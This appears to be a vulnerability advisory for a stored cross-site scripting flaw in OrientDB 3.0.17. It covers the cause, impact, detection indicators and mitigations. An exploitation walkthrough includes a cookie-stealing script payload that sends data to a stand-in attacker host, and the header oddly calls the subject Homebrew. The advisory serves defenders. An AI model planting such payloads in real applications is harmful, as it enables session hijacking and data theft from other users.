CVE-2019-25448: 
Homebrew vulnerability analysis and mitigation

CVE-2019-25448 is a stored cross-site scripting (XSS) vulnerability in OrientDB version 3.0.17 that allows authenticated attackers to inject malicious JavaScript by creating users with script payloads in the name parameter. Attackers send POST requests to the document endpoint with JavaScript code in the name field, which then executes for any user who views the affected content. The vulnerability was published on February 20, 2026, and affects specifically OrientDB 3.0.17. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). An authenticated attacker with low privileges can send a crafted HTTP POST request to OrientDB's document/user creation endpoint, embedding JavaScript payloads within the name field. Because the application fails to sanitize or encode this input before rendering it in the UI, the malicious script is persisted in the database and executes automatically in the browsers of all users who subsequently view the affected content — requiring no additional interaction from victims. A proof-of-concept exploit is publicly available on Exploit-DB (Exploit-DB, Red Hat Advisory).

Successful exploitation enables persistent script execution in the context of any user's browser session who views the affected application content, compromising both confidentiality and integrity across the application scope. Attackers can steal session tokens, perform session hijacking, exfiltrate sensitive data visible to the victim, or modify application behavior. Because the payload is stored server-side, all users accessing the poisoned content are affected without any targeted phishing required (Feedly, Red Hat Advisory).

A proof-of-concept exploit is publicly available on Exploit-DB (exploit ID 46517), added on February 24, 2026. There is no current evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.039% (0.000390), indicating a low probability of exploitation in the near term. Exploitation requires authenticated access with low privileges (Exploit-DB, Feedly).

1. Authenticate: Obtain valid credentials for an OrientDB 3.0.17 instance with at least low-privilege access to the user/document creation endpoint.
2. Craft malicious payload: Prepare a JavaScript XSS payload to embed in the user name field, e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>.
3. Send POST request: Submit a POST request to the OrientDB document endpoint (e.g., /document/<database>) with the malicious script in the name parameter, creating a persisted record containing the payload.
4. Wait for victim interaction: When any authenticated user navigates to the application view that renders the stored user name, the injected script executes automatically in their browser.
5. Harvest results: Collect stolen session cookies, credentials, or other sensitive data at the attacker-controlled server, enabling session hijacking or further lateral movement within the application (Exploit-DB, Feedly).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing OrientDB UI pages; unusual GET requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: OrientDB access logs showing POST requests to document/user creation endpoints with unusually long or script-tag-containing name field values; repeated access to user listing or profile pages by multiple distinct users following a suspicious user creation event.
• Application: Presence of user accounts in OrientDB with names containing HTML/JavaScript tags such as <script>, <img onerror=, or encoded equivalents (%3Cscript%3E).
• File System: No direct file system artifacts expected for a stored XSS; however, review OrientDB database records for user entries with script-like content in the name field.

The primary remediation is to upgrade OrientDB to a version newer than 3.0.17, as the patch status for this specific release is confirmed to be vulnerable. As interim mitigations, implement strict input validation and output encoding for all user-controlled inputs — particularly the name parameter in user creation endpoints. Apply a strict Content Security Policy (CSP) header to prevent inline script execution, restrict database access to trusted users only following the principle of least privilege, and monitor for suspicious user creation activities with script-like payloads in name fields (Feedly, Red Hat Advisory).